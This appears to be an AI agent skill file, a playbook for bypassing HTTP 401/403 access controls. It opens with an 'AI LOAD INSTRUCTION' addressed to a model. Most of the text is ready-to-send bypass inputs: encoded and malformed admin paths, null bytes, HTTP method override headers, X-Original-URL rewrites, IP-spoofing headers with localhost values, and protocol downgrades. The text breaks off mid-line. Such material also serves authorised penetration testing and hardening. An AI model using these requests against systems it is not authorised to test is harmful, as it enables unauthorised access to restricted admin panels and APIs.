/401-403-bypass-techniques

name: 401-403-bypass-techniques
description: >-
  401/403 bypass playbook. Use when encountering access-denied responses on admin panels, API endpoints, or restricted paths. Covers path manipulation, HTTP method tampering, header injection, protocol downgrade, and automated bypass tools.

SKILL: 401/403 Bypass Techniques — Expert Attack Playbook

> **AI LOAD INSTRUCTION**: Comprehensive 401/403 forbidden bypass techniques. Covers path normalization tricks, HTTP method override, header-based bypasses (X-Original-URL, X-Forwarded-For), protocol version tricks, and combination attacks. Base models typically know 2-3 header bypasses but miss the full matrix of path manipulation variants and verb+path combos.

0. RELATED ROUTING

• [authbypass-authentication-flaws](../authbypass-authentication-flaws/SKILL.md) — broader auth bypass (login flaws, session handling)
• [waf-bypass-techniques](../waf-bypass-techniques/SKILL.md) — when bypass is WAF-specific rather than access control
• [http-host-header-attacks](../http-host-header-attacks/SKILL.md) — Host header manipulation for routing bypass
• [request-smuggling](../request-smuggling/SKILL.md) — smuggle past access controls entirely
• [http2-specific-attacks](../http2-specific-attacks/SKILL.md) — h2c smuggling to bypass proxy ACLs

---

1. PATH MANIPULATION BYPASSES

The core idea: the reverse proxy/WAF checks one path format, but the backend normalizes differently.

1.1 Trailing Slash / Missing Slash

/admin      → 403
/admin/     → 200  ✓ (trailing slash)
/admin/.    → 200  ✓ (trailing dot)

1.2 Case Sensitivity

/admin      → 403
/Admin      → 200  ✓
/ADMIN      → 200  ✓
/aDmIn      → 200  ✓

Works when: proxy rule is case-sensitive but backend is case-insensitive (common on Windows/IIS).

1.3 URL Encoding

/admin          → 403
/%61dmin        → 200  ✓ (encode 'a')
/admi%6e        → 200  ✓ (encode 'n')
/%61%64%6d%69%6e → 200  ✓ (full encode)

1.4 Double URL Encoding

/admin              → 403
/%2561dmin          → 200  ✓ (%25 = %, decoded twice: %61 → a)
/admin%252f         → 200  ✓
/admin..%252f       → 200  ✓

1.5 Unicode / UTF-8 Encoding

/admin          → 403
/admi%C0%AE     → 200  ✓ (overlong UTF-8 for '.')
/admi%C0%6E     → 200  ✓ (overlong encoding)
/%C0%AFadmin    → 200  ✓ (overlong '/')

1.6 Dot-Segment / Path Traversal

/admin          → 403
/./admin        → 200  ✓
//admin         → 200  ✓
/admin/./       → 200  ✓
/.//admin       → 200  ✓
/admin..;/      → 200  ✓ (Tomcat path parameter)

1.7 Null Byte

/admin          → 403
/admin%00       → 200  ✓
/admin%00.json  → 200  ✓
/%00/admin      → 200  ✓

1.8 Path Parameter Injection

/admin          → 403
/admin;foo=bar  → 200  ✓ (Tomcat/Java treats ; as path param)
/admin;         → 200  ✓
/admin;x        → 200  ✓

1.9 Trailing Special Characters

/admin%20 (space)  /admin%09 (tab)   /admin? (empty query)
/admin.json        /admin.html       /admin/~

1.10 Backslash (Windows/IIS)

/admin\    /admin\..\/    \..\admin

1.11 Combined Path Tricks

///admin///    /./admin/./    /admin/..;/admin (Tomcat)    /%2e/admin

---

2. HTTP METHOD BYPASS

2.1 Direct Method Change

GET  /admin → 403
POST /admin → 200  ✓
PUT  /admin → 200  ✓
PATCH /admin → 200  ✓
DELETE /admin → 200  ✓
OPTIONS /admin → 200  ✓ (may leak allowed methods)
TRACE /admin → 200  ✓ (may reflect headers — XST)
HEAD /admin → 200  ✓ (same as GET but no body — confirms access)

2.2 Method Override Headers

When the proxy blocks by method, but the backend reads override headers:

GET /admin HTTP/1.1
X-HTTP-Method-Override: PUT

GET /admin HTTP/1.1
X-Method-Override: POST

GET /admin HTTP/1.1
X-HTTP-Method: DELETE

POST /admin HTTP/1.1
X-HTTP-Method-Override: PATCH
_method=PUT  (in POST body — Rails, Laravel)

2.3 Custom / Invalid Methods

FOOBAR /admin HTTP/1.1     → some ACLs only check GET/POST
GETS /admin HTTP/1.1       → typo-like methods may bypass
CONNECT /admin HTTP/1.1    → proxy may tunnel
PROPFIND /admin HTTP/1.1   → WebDAV method
MOVE /admin HTTP/1.1       → WebDAV method

---

3. HEADER-BASED BYPASS

3.1 URL Rewrite Headers (Nginx/IIS)

These headers tell the backend the "real" URL, bypassing proxy-level path checks:

GET / HTTP/1.1
X-Original-URL: /admin

GET / HTTP/1.1
X-Rewrite-URL: /admin

The proxy sees `GET /` (allowed), but the backend routes to `/admin`.

3.2 IP Spoofing Headers (Whitelist Bypass)

Headers to try (each with values `127.0.0.1`, `10.0.0.1`, `0.0.0.0`, `::1`):

X-Forwarded-For | X-Real-IP | X-Originating-IP | X-Remote-IP
X-Remote-Addr | X-Client-IP | True-Client-IP | Cluster-Client-IP
X-ProxyUser-IP | X-Custom-IP-Authorization | Forwarded: for=127.0.0.1

IP encoding variants: `0177.0.0.1` (octal), `2130706433` (decimal), `0x7f000001` (hex), `localhost`

3.3 Other Header Tricks

Referer: https://target.com/admin     # Referrer check bypass
Origin: https://target.com             # Origin check bypass
Host: localhost                         # Host header manipulation
X-Forwarded-Host: localhost            # Forwarded host
Content-Type: application/json         # Content-type switch
X-Requested-With: XMLHttpRequest       # AJAX flag

---

4. PROTOCOL VERSION BYPASS

# HTTP/1.0 (some ACLs only apply to HTTP/1.1)
GET /admin HTTP/1.0

# HTTP/0.9 (extremely legacy — no headers)
GET /admin

# HTTP/2 pseudo-header tricks
:method: GET
:path: /admin
:authority: target.com
# See ../http2-specific-attacks/SKILL.md for H2-specific bypasses

---

5. VERB TAMPERING + PATH COMBINATION

Combine multiple techniques for higher success rate:

POST / HTTP/1.1                          # method override + URL rewrite
X-Original-URL: /admin
X-HTTP-Method-Override: GET

GET /%61dmin HTTP/1.1                    # IP spoof + path encoding
X-Forwarded-For: 127.0.0.